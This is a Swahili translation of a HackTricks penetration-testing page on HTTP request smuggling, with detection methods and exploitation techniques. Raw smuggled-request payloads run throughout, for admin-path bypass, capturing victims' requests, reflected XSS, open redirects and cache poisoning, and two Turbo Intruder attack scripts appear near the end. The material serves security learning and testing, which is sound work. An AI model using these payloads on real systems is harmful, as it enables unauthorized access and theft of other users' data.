.. | ||
browser-http-request-smuggling.md | ||
README.md | ||
request-smuggling-in-http-2-downgrades.md |
Kudukuliwa kwa Ombi la HTTP / Shambulio la Desync la HTTP
Jifunze kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA USAJILI!
- Pata swag rasmi wa PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa kipekee wa NFTs
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Ni Nini
Udhaifu huu hutokea wakati desyncronization kati ya proxies ya mbele na seva ya nyuma inaruhusu mshambuliaji kutuma ombi la HTTP ambalo litatafsiriwa kama ombi moja na proxies ya mbele (usawa wa mzigo / reverse-proxy) na kama ombi 2 na seva ya nyuma.
Hii inaruhusu mtumiaji kurekebisha ombi linalofuata linalofika kwa seva ya nyuma baada yake.
Nadharia
Ikiwa ujumbe unapokelewa na uwanja wa kichwa wa Transfer-Encoding na uwanja wa kichwa wa Content-Length, ule wa mwisho LAZIMA uachwe.
Content-Length
Kichwa cha mwili wa yaliyomo cha Content-Length kinaonyesha ukubwa wa mwili wa yaliyomo, kwa bayti, iliyotumwa kwa mpokeaji.
Transfer-Encoding: chunked
Kichwa cha Transfer-Encoding kinaeleza aina ya uendeshaji uliotumiwa kusafirisha salama mwili wa mzigo kwa mtumiaji.
Chunked inamaanisha kuwa data kubwa inatumwa katika mfululizo wa vipande.
Uhalisia
Mbele (usawa wa mzigo / Reverse Proxy) huprocess kichwa cha content-length au transfer-encoding na seva ya nyuma huprocess moja nyingine ikisababisha desyncronization kati ya mifumo 2.
Hii inaweza kuwa hatari sana kwani mshambuliaji ataweza kutuma ombi moja kwa proxy ya nyuma ambayo itatafsiriwa na seva ya nyuma kama maombi 2 tofauti. Hatari ya mbinu hii iko katika ukweli kwamba seva ya nyuma itatafsiri ombi la pili lililowekwa kana kwamba ilitoka kwa mteja anayefuata na ombi halisi la mteja huyo litakuwa sehemu ya ombi lililowekwa.
Vipengele Maalum
Kumbuka kuwa katika HTTP tabia mpya ya mstari inajumuisha bayti 2:
- Content-Length: Kichwa hiki hutumia namba ya decimal kuonyesha idadi ya bayti za mwili wa ombi. Mwili unatarajiwa kumalizika katika herufi ya mwisho, mstari mpya hauhitajiki mwishoni mwa ombi.
- Transfer-Encoding: Kichwa hiki hutumia katika mwili namba ya hexadecimal kuonyesha idadi ya bayti ya kitengo kifuatacho. Kitengo lazima malize na mstari mpya lakini mstari huu mpya hauchumiwi na kiashiria cha urefu. Mbinu hii ya uhamishaji lazima imalize na kitengo cha ukubwa 0 kifuatiwe na mstari mpya 2:
0
- Connection: Kulingana na uzoefu wangu inapendekezwa kutumia
Connection: keep-alive
kwenye ombi la kwanza la kudukua ombi.
Mifano ya Msingi
{% hint style="success" %}
Unapojaribu kutumia hii na Burp Suite lemaza Sasisha Urefu wa Yaliyomo
na Fanya Mstari wa HTTP/1 uwe wa kawaida
kwenye repeater kwa sababu baadhi ya vifaa vinatumia mstari mpya, kurudi nyuma na urefu wa yaliyomo usio sahihi.
{% endhint %}
Mashambulio ya kudukua ombi la HTTP hupangwa kwa kutuma maombi yenye utata yanayotumia tofauti katika jinsi seva za mbele na seva za nyuma zinavyotafsiri vichwa vya Content-Length
(CL) na Transfer-Encoding
(TE). Mashambulio haya yanaweza kutokea katika aina tofauti, hasa kama CL.TE, TE.CL, na TE.TE. Kila aina inawakilisha mchanganyiko wa kipekee wa jinsi seva za mbele na seva za nyuma zinavyopatia kipaumbele vichwa hivi. Udhaifu unatokea kutokana na seva kusindika ombi moja kwa njia tofauti, ikisababisha matokeo yasiyotarajiwa na yanayoweza kuwa mabaya.
Mifano ya Msingi ya Aina za Udhaifu
Udhaifu wa CL.TE (Content-Length hutumiwa na Mbele, Transfer-Encoding hutumiwa na Nyuma)
- Mbele (CL): Huprocess ombi kulingana na kichwa cha
Content-Length
. - Nyuma (TE): Huprocess ombi kulingana na kichwa cha
Transfer-Encoding
. - Skena ya Shambulio:
- Mshambuliaji anatuma ombi ambapo thamani ya kichwa cha
Content-Length
haifanani na urefu halisi wa yaliyomo. - Seva ya mbele inapeleka ombi lote kwa seva ya nyuma, kulingana na thamani ya
Content-Length
. - Seva ya nyuma inasindika ombi kama chunked kutokana na kichwa cha
Transfer-Encoding: chunked
, ikifasiri data iliyobaki kama ombi tofauti, la baadaye. - Mfano:
POST / HTTP/1.1
Host: tovuti-inayoweza-kudukuliwa.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
Foo: x
Udhaifu wa TE.CL (Transfer-Encoding hutumiwa na Mbele, Content-Length hutumiwa na Nyuma)
- Mbele (TE): Huprocess ombi kulingana na kichwa cha
Transfer-Encoding
. - Nyuma (CL): Huprocess ombi kulingana na kichwa cha
Content-Length
. - Skena ya Shambulio:
- Mshambuliaji anatuma ombi la chunked ambapo ukubwa wa chunk (
7b
) na urefu halisi wa yaliyomo (Content-Length: 4
) havilingani. - Seva ya mbele, ikizingatia
Transfer-Encoding
, inapeleka ombi lote kwa seva ya nyuma. - Seva ya nyuma, ikizingatia
Content-Length
, inasindika sehemu ya awali tu ya ombi (bayti 7b
), ikiiacha sehemu iliyobaki kama sehemu ya ombi isiyokusudiwa baadaye. - Mfano:
POST / HTTP/1.1
Host: tovuti-inayoweza-kudukuliwa.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
7b
GET /404 HTTP/1.1
Host: tovuti-inayoweza-kudukuliwa.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
x=
0
Mfumo wa TE.TE (Transfer-Encoding inayotumiwa na wote, na kuficha)
- Seva: Zote mbili zinasaidia
Transfer-Encoding
, lakini moja inaweza kudanganywa kwa kutozingatia kupitia kuficha. - Skena ya Shambulizi:
- Mshambuliaji anatuma ombi lenye vichwa vilivyofichwa vya
Transfer-Encoding
. - Kulingana na ni seva ipi (mbele au nyuma) inashindwa kutambua kuficha, inaweza kudukuliwa kwa kushambulia CL.TE au TE.CL.
- Sehemu isiyosindika ya ombi, kama inavyoonekana na moja ya seva, inakuwa sehemu ya ombi linalofuata, ikiongoza kwa udanganyifu.
- Mfano:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
Skena ya CL.CL (Content-Length inayotumiwa na Mbele na Nyuma):
- Seva zote zinasindika ombi kulingana na kichwa cha
Content-Length
pekee. - Skena hii kawaida haiongozi kwa udanganyifu, kwani kuna maelewano katika jinsi seva zote zinavyotafsiri urefu wa ombi.
- Mfano:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Ombi la Kawaida
Skena ya CL != 0:
- Inahusu hali ambapo kichwa cha
Content-Length
kipo na kina thamani isiyokuwa sifuri, ikionyesha kuwa mwili wa ombi una maudhui. - Ni muhimu katika kuelewa na kutengeneza mashambulizi ya udanganyifu, kwani inaathiri jinsi seva zinavyobaini mwisho wa ombi.
- Mfano:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Mwili usio tupu
Kulazimisha kupitia vichwa vya hop-kwa-hop
Kwa kutumia vichwa vya hop-kwa-hop unaweza kuashiria kwa wakala kufuta kichwa cha Content-Length au Transfer-Encoding hivyo uwezekano wa udanganyifu wa ombi la HTTP unaweza kutumiwa kudukua.
Connection: Content-Length
Kwa maelezo zaidi kuhusu vichwa vya hop-by-hop, tembelea:
{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}
Kupata Uvujaji wa Ombi la HTTP
Kutambua udhaifu wa uvujaji wa ombi la HTTP mara nyingi hufanikiwa kutumia mbinu za wakati, ambazo hutegemea kuchunguza muda gani server itachukua kujibu maombi yaliyodhibitiwa. Mbinu hizi ni muhimu hasa kwa kugundua udhaifu wa CL.TE na TE.CL. Mbali na mbinu hizi, kuna mikakati na zana zingine zinazoweza kutumika kugundua udhaifu kama huo:
Kupata Udhaifu wa CL.TE Kwa Kutumia Mbinu za Wakati
- Mbinu:
- Tuma ombi ambalo, ikiwa programu ina udhaifu, itasababisha server ya nyuma kusubiri data zaidi.
- Mfano:
POST / HTTP/1.1
Host: tovuti-isio-na-ulinzi.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
1
A
0
- Uchunguzi:
- Server ya mbele huprocess ombi kulingana na
Content-Length
na kukata ujumbe mapema. - Server ya nyuma, ikitarajia ujumbe wa chunked, inasubiri chunk inayofuata ambayo haijafika, ikisababisha kucheleweshwa.
- Viashiria:
- Muda wa kusubiri au kuchelewesha mrefu katika majibu.
- Kupokea kosa la 400 Bad Request kutoka kwa server ya nyuma, mara nyingine na maelezo ya kina ya server.
Kupata Udhaifu wa TE.CL Kwa Kutumia Mbinu za Wakati
- Mbinu:
- Tuma ombi ambalo, ikiwa programu ina udhaifu, itasababisha server ya nyuma kusubiri data zaidi.
- Mfano:
POST / HTTP/1.1
Host: tovuti-isio-na-ulinzi.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
0
X
- Uchunguzi:
- Server ya mbele huprocess ombi kulingana na
Transfer-Encoding
na kupeleka ujumbe wote. - Server ya nyuma, ikitarajia ujumbe kulingana na
Content-Length
, inasubiri data zaidi ambayo haijafika, ikisababisha kucheleweshwa.
Mbinu Nyingine za Kupata Udhaifu
- Uchambuzi wa Majibu Tofauti:
- Tuma toleo kidogo tofauti za ombi na uchunguze ikiwa majibu ya server yanatofautiana kwa njia isiyotarajiwa, ikionyesha hitilafu katika upangaji.
- Kutumia Zana za Kiotomatiki:
- Zana kama kifaa cha 'HTTP Request Smuggler' cha Burp Suite zinaweza kujaribu moja kwa moja udhaifu huu kwa kutuma aina mbalimbali za maombi yenye utata na kuchambua majibu.
- Vipimo vya Urefu wa Yaliyomo (
Content-Length
): - Tuma maombi yenye thamani tofauti za
Content-Length
ambazo hazilingani na urefu halisi wa yaliyomo na uchunguze jinsi server inavyoshughulikia kutofautiana kama hizo. - Vipimo vya Uhamishaji wa Vipande (
Transfer-Encoding
): - Tuma maombi yenye vichwa vilivyofichwa au vilivyoharibika vya
Transfer-Encoding
na ufuatilie jinsi server ya mbele na nyuma inavyojibu kwa manipulations kama hizo.
Jaribio la Udhaifu wa Uvujaji wa Ombi la HTTP
Baada ya kuthibitisha ufanisi wa mbinu za wakati, ni muhimu kuthibitisha ikiwa maombi ya mteja yanaweza kudhibitiwa. Mbinu rahisi ni kujaribu kudhoofisha maombi yako, kwa mfano, kufanya ombi kwa /
kutoe majibu ya 404. Mifano ya CL.TE
na TE.CL
iliyozungumziwa hapo awali katika Mifano ya Msingi inaonyesha jinsi ya kudhoofisha ombi la mteja ili kupata majibu ya 404, licha ya mteja kutaka kupata rasilimali tofauti.
Mambo Muhimu
Wakati wa kujaribu udhaifu wa uvujaji wa ombi kwa kuingilia kati maombi mengine, kumbuka:
- Mawasiliano Tofauti ya Mtandao: Maombi ya "shambulio" na "kawaida" yanapaswa kutumwa kupitia mawasiliano tofauti ya mtandao. Kutumia mawasiliano sawa kwa yote mawili haidhibitishi uwepo wa udhaifu.
- URL na Vigezo Thabiti: Lengo ni kutumia URLs na majina ya vigezo sawa kwa maombi yote. Programu za kisasa mara nyingi hurekebisha maombi kwa server za nyuma maalum kulingana na URL na vigezo. Kufanana huku kunaweza kuongeza uwezekano wa maombi yote kusindika na server ile ile, sharti la shambulio la mafanikio.
- Wakati na Hali za Mashindano: Ombi la "kawaida," lililolenga kugundua kuingilia kati kutoka kwa ombi la "shambulio," linashindana na maombi mengine ya programu yanayofanyika wakati huo huo. Hivyo, tuma ombi la "kawaida" mara moja baada ya kutuma ombi la "shambulio." Programu zilizojaa zinaweza kuhitaji majaribio mengi kwa uthibitisho wa udhaifu.
- Changamoto za Usawa wa Mzigo: Server za mbele zinazofanya kazi kama mizani ya mzigo zinaweza kusambaza maombi kwa mifumo tofauti ya nyuma. Ikiwa maombi ya "shambulio" na "kawaida" yanamalizikia kwenye mifumo tofauti, shambulio halitafanikiwa. Upande huu wa usawa wa mzigo unaweza kuhitaji majaribio kadhaa kuthibitisha udhaifu.
- Athari Isiyotarajiwa kwa Mtumiaji: Ikiwa shambulio lako linaathiri ombi la mtumiaji mwingine (si ombi la "kawaida" ulilotuma kwa kugundua), hii inaonyesha shambulio lako lilimwathiri mtumiaji mwingine wa programu. Majaribio ya mara kwa mara yanaweza kuvuruga watumiaji wengine, hivyo inahitaji kukaribia kwa tahadhari.
Kutumia Uvujaji wa Ombi la HTTP
Kupita Udhibiti wa Ulinzi wa Mbele
Kuzunguka Ulinzi wa Mbele kupitia Uvujaji wa Ombi la HTTP
Maranyingi, mabara ya mbele hutekeleza hatua za usalama, kuchunguza maombi yanayoingia. Hata hivyo, hatua hizi zinaweza kuzungukwa kwa kutumia Uvujaji wa Ombi la HTTP, kuruhusu ufikiaji usioruhusiwa kwenye maeneo yaliyozuiliwa. Kwa mfano, kupata /admin
kunaweza kuzuiwa kwa nje, na mbara ya mbele ikizuia kwa bidii majaribio kama hayo. Hata hivyo, mbara hii inaweza kusahau kuchunguza maombi yaliyofichwa ndani ya ombi la HTTP lililovuja, kuacha mwanya wa kuzunguka vizuizi hivi.
Fikiria mifano ifuatayo inayoonyesha jinsi Uvujaji wa Ombi la HTTP unaweza kutumika kuzunguka udhibiti wa usalama wa mbele, kwa kuzilenga hasa njia ya /admin
ambayo kawaida hulindwa na mbara ya mbele:
Mfano wa CL.TE
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
x=
Katika shambulio la CL.TE, kichwa cha Content-Length
kinatumika kwa ombi la awali, wakati ombi lililofichwa linatumia kichwa cha Transfer-Encoding: chunked
. Proksi ya mbele inaprocess ombi la awali la POST
lakini haiwezi kuchunguza ombi lililofichwa la GET /admin
, kuruhusu ufikiaji usioruhusiwa kwenye njia ya /admin
.
Mfano wa TE.CL
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
Kinyume chake, katika shambulio la TE.CL, ombi la kwanza la POST
hutumia Transfer-Encoding: chunked
, na ombi lililofichwa baadaye hupitishwa kulingana na kichwa cha Content-Length
. Kama shambulio la CL.TE, mtoa huduma wa mbele hupuuza ombi lililofichwa la GET /admin
, kwa kosa kutoa ufikivu kwa njia iliyozuiwa ya /admin
.
Kufichua upya wa ombi la mbele la seva
Maombi mara nyingi hutumia seva ya mbele kurekebisha maombi yanayoingia kabla ya kuyapeleka kwa seva ya nyuma. Kubadilisha kawaida hujumuisha kuongeza vichwa, kama vile X-Forwarded-For: <IP ya mteja>
, kupeleka IP ya mteja kwa seva ya nyuma. Kuelewa mabadiliko haya ni muhimu, kwani inaweza kufunua njia za kupita kinga au kufichua habari au vituo vilivyofichwa.
Ili kuchunguza jinsi mtoa huduma anavyobadilisha ombi, tafuta parameter ya POST ambayo seva ya nyuma inarudisha kwenye jibu. Kisha, andika ombi, ukitumia parameter hii mwishoni, kama ifuatavyo:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
search=
Katika muundo huu, vipengele vya ombi vinavyofuata huongezwa baada ya search=
, ambayo ni parameter inayoonekana katika jibu. Uwazi huu utafunua vichwa vya ombi la kufuata.
Ni muhimu kulinganisha kichwa cha Content-Length
cha ombi lililofichwa na urefu halisi wa yaliyomo. Kuanzia na thamani ndogo na kuongeza polepole ni vyema, kwani thamani ya chini sana itakata data iliyofichwa, wakati thamani kubwa sana inaweza kusababisha ombi kushindwa.
Mbinu hii pia inatumika katika muktadha wa udhaifu wa TE.CL, lakini ombi linapaswa kumalizika na search=\r\n0
. Bila kujali wahusika wa mstari mpya, thamani zitaongezwa kwenye parameter ya utafutaji.
Mbinu hii kimsingi inatumika kuelewa marekebisho ya ombi yaliyofanywa na wakala wa mbele, kimsingi kufanya uchunguzi wa kujielekeza.
Kukamata maombi ya watumiaji wengine
Inawezekana kukamata maombi ya mtumiaji wa pili kwa kuongeza ombi maalum kama thamani ya parameter wakati wa operesheni ya POST. Hapa ndivyo hii inavyoweza kufanikishwa:
Kwa kuongeza ombi lifuatalo kama thamani ya parameter, unaweza kuhifadhi ombi la mteja linalofuata:
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
Katika kesi hii, parameter ya maoni inalenga kuhifadhi maudhui ndani ya sehemu ya maoni kwenye ukurasa ulio wazi kwa umma. Kwa hivyo, maudhui ya ombi la kufuatia yataonekana kama maoni.
Hata hivyo, mbinu hii ina vikwazo. Kwa ujumla, inakamata data hadi kufikia kizuizi cha parameter kilichotumika katika ombi lililosafirishwa. Kwa maingizo ya fomu zilizoorodheshwa kwenye URL, kizuizi hiki ni herufi ya &
. Hii inamaanisha maudhui yaliyokamatwa kutoka kwa ombi la mtumiaji wa mwathiriwa yatasimama kwenye &
ya kwanza, ambayo inaweza hata kuwa sehemu ya mfuatano wa utafutaji.
Zaidi ya hayo, ni muhimu kutambua kuwa njia hii pia inafaa na udhaifu wa TE.CL. Katika hali kama hizo, ombi linapaswa kumalizika na search=\r\n0
. Bila kujali wahusika wa mstari mpya, thamani zitaongezwa kwenye parameter ya utafutaji.
Kutumia uchakachuaji wa ombi la HTTP kudanganya XSS iliyoreflektiwa
Uchakachuaji wa Ombi la HTTP unaweza kutumika kudanganya kurasa za wavuti zenye udhaifu wa XSS iliyoreflektiwa, kutoa faida kubwa:
- Mwingiliano na watumiaji lengwa hauna hitajika.
- Inaruhusu kutumia XSS katika sehemu za ombi ambazo kawaida hazipatikani, kama vile vichwa vya ombi la HTTP.
Katika mazingira ambapo tovuti inaweza kuathiriwa na XSS iliyoreflektiwa kupitia kichwa cha Mtumiaji, mzigo wa kufuatia unadhihirisha jinsi ya kutumia udhaifu huu:
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
0
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
A=
Payload hii imeundwa kwa kufaidika na udhaifu kwa:
- Kuanzisha ombi la
POST
, linaloonekana kawaida, na kichwa chaTransfer-Encoding: chunked
kuonyesha kuanza kwa smuggling. - Kufuatiwa na
0
, ikionyesha mwisho wa mwili wa ujumbe wa chunked. - Kisha, ombi la
GET
lililosafirishwa linajumuishwa, ambapo kichwa chaUser-Agent
kimeingizwa na script,<script>alert(1)</script>
, kuzindua XSS wakati server inapoprocess ombi hili linalofuata.
Kwa kubadilisha User-Agent
kupitia smuggling, payload inapita kwa kawaida kikwazo cha ombi, hivyo kutumia udhaifu wa Reflected XSS kwa njia isiyo ya kawaida lakini yenye ufanisi.
Kutumia smuggling ya ombi la HTTP kugeuza upya wa ndani kuwa upya wa wazi
Kufaidika na Upya wa Ndani kwa Kutumia Smuggling ya Ombi la HTTP
Maombi mara nyingi hurekebisha kutoka kwa URL moja hadi nyingine kwa kutumia jina la mwenyeji kutoka kichwa cha Host
katika URL ya upyaisho. Hii ni kawaida na seva za wavuti kama Apache na IIS. Kwa mfano, kuomba folda bila mstari wa mwisho husababisha upya kujumuisha mstari wa mwisho:
GET /home HTTP/1.1
Host: normal-website.com
Matokeo ni:
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
Ingawa inaonekana kuwa isiyo na madhara, tabia hii inaweza kudanganywa kwa kutumia upenyezaji wa ombi la HTTP ili kuwaongoza watumiaji kwenye tovuti ya nje. Kwa mfano:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
Hii ombi lililosafirishwa linaweza kusababisha ombi la mtumiaji linalofuata kusindika kupelekwa kwenye tovuti inayodhibitiwa na mshambuliaji:
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
Matokeo ni:
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
Katika kesi hii, ombi la mtumiaji la faili ya JavaScript linatekwa. Mshambuliaji anaweza kudhoofisha mtumiaji kwa kutoa JavaScript yenye nia mbaya kama jibu.
Kutumia udukuzi wa ombi la HTTP kutekeleza sumu ya cache ya wavuti
Kutumia Udukuzi wa Sumu ya Cache ya Wavuti kupitia Udukuzi wa Ombi la HTTP
Sumu ya cache ya wavuti inaweza kutekelezwa ikiwa sehemu yoyote ya miundombinu ya mbele inahifadhi yaliyomo, kawaida kuboresha utendaji. Kwa kubadilisha jibu la seva, inawezekana kudhoofisha cache.
Awali, tuliona jinsi majibu ya seva yanaweza kubadilishwa ili kurudisha kosa la 404 (angalia Mifano ya Msingi). Vivyo hivyo, ni rahisi kudanganya seva kutoa yaliyomo ya /index.html
kama jibu kwa ombi la /static/include.js
. Kwa hivyo, yaliyomo ya /static/include.js
yanabadilishwa kwenye cache na ile ya /index.html
, ikifanya /static/include.js
kuwa haipatikani kwa watumiaji, na kusababisha Uzuiaji wa Huduma (DoS) kwa uwezekano.
Mbinu hii inakuwa yenye nguvu hasa ikiwa Udhaifu wa Kuelekeza Wazi unagunduliwa au ikiwa kuna uelekezaji kwenye wavuti kwenda kwa kuelekeza wazi. Udhaifu kama huo unaweza kutumika kubadilisha yaliyomo yaliyohifadhiwa ya /static/include.js
na skripti chini ya udhibiti wa mshambuliaji, kimsingi kuwezesha shambulio kubwa la Kuvuka Tovuti (XSS) dhidi ya wateja wote wanaotaka /static/include.js
iliyosasishwa.
Hapa chini ni mchoro wa kutumia sumu ya cache ikichanganywa na uelekezaji wa wavuti kwenda kwa kuelekeza wazi. lengo ni kubadilisha yaliyomo ya cache ya /static/include.js
kutoa msimbo wa JavaScript uliodhibitiwa na mshambuliaji:
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
Tafadhali kumbuka ombi lililofichwa linalolenga /post/next?postId=3
. Ombi hili litaelekezwa kwa /post?postId=4
, likitumia Thamani ya Kichwa cha Mwenyeji kubaini kikoa. Kwa kubadilisha Kichwa cha Mwenyeji, mshambuliaji anaweza kuuelekeza ombi kwenye kikoa chao (kuelekeza kwa tovuti yao kwa kuelekeza wazi).
Baada ya sumu ya soketi kufanikiwa, ombi la GET kwa /static/include.js
linapaswa kuanzishwa. Ombi hili litachafuliwa na ombi la awali la kuelekeza kwa tovuti yao kwa kuelekeza wazi na kuchukua maudhui ya skripti inayodhibitiwa na mshambuliaji.
Baadaye, ombi lolote kwa /static/include.js
litahudumia maudhui yaliyohifadhiwa ya skripti ya mshambuliaji, ikizindua mashambulizi makubwa ya XSS.
Kutumia udanganyifu wa ombi la HTTP kutekeleza udanganyifu wa kuhifadhi wavuti
Ni tofauti gani kati ya sumu ya kuhifadhi wavuti na udanganyifu wa kuhifadhi wavuti?
- Katika sumu ya kuhifadhi wavuti, mshambuliaji husababisha programu kuhifadhi baadhi ya maudhui mabaya kwenye hifadhi, na maudhui haya hutolewa kutoka kwenye hifadhi kwa watumiaji wengine wa programu.
- Katika udanganyifu wa kuhifadhi wavuti, mshambuliaji husababisha programu kuhifadhi baadhi ya maudhui nyeti yanayomilikiwa na mtumiaji mwingine kwenye hifadhi, na kisha mshambuliaji huchukua maudhui haya kutoka kwenye hifadhi.
Mshambuliaji huchora ombi lililofichwa linalopata maudhui nyeti yanayohusiana na mtumiaji. Fikiria mfano ufuatao:
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
Ikiwa ombi lililokwenda kwa siri linachafua kuingia kwa cache iliyokusudiwa kwa yaliyomo ya msingi (k.mf., /someimage.png
), data nyeti ya mwathiriwa kutoka /private/messages
inaweza kuingizwa chini ya kuingia cha cache ya yaliyomo ya msingi. Kufuatia hilo, mkaidi anaweza kupata data nyeti zilizohifadhiwa kwenye cache hizo.
Kutumia Silaha ya Udukuzi wa Ombi la HTTP na Kutengua Majibu ya HTTP
Je! Umepata udhaifu wa Udukuzi wa Ombi la HTTP na hujui jinsi ya kuutumia. Jaribu njia hii nyingine ya udukuzi:
{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}
Skripti za Turbo Intruder
CL.TE
Kutoka https://hipotermia.pw/bb/http-desync-idor
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar
0
GET /admin7 HTTP/1.1
X-Foo: k'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
TE.CL
Kutoka: https://hipotermia.pw/bb/http-desync-account-takeover
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked
46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15
kk
0
'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
Vifaa
- https://github.com/anshumanpattnaik/http-request-smuggling
- https://github.com/PortSwigger/http-request-smuggler
- https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
- https://github.com/defparam/smuggler
- https://github.com/Moopinger/smugglefuzz
- https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: Zana hii ni Fuzzer ya HTTP iliyo na msingi wa sarufi inayoweza kutumika kutambua tofauti za udukuzi wa ombi la kutatanisha.
Marejeo
- https://portswigger.net/web-security/request-smuggling
- https://portswigger.net/web-security/request-smuggling/finding
- https://portswigger.net/web-security/request-smuggling/exploiting
- https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
- https://github.com/haroonawanofficial/HTTP-Desync-Attack/
- https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
- https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
Jifunze udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA KUJIUNGA!
- Pata swagi rasmi ya PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.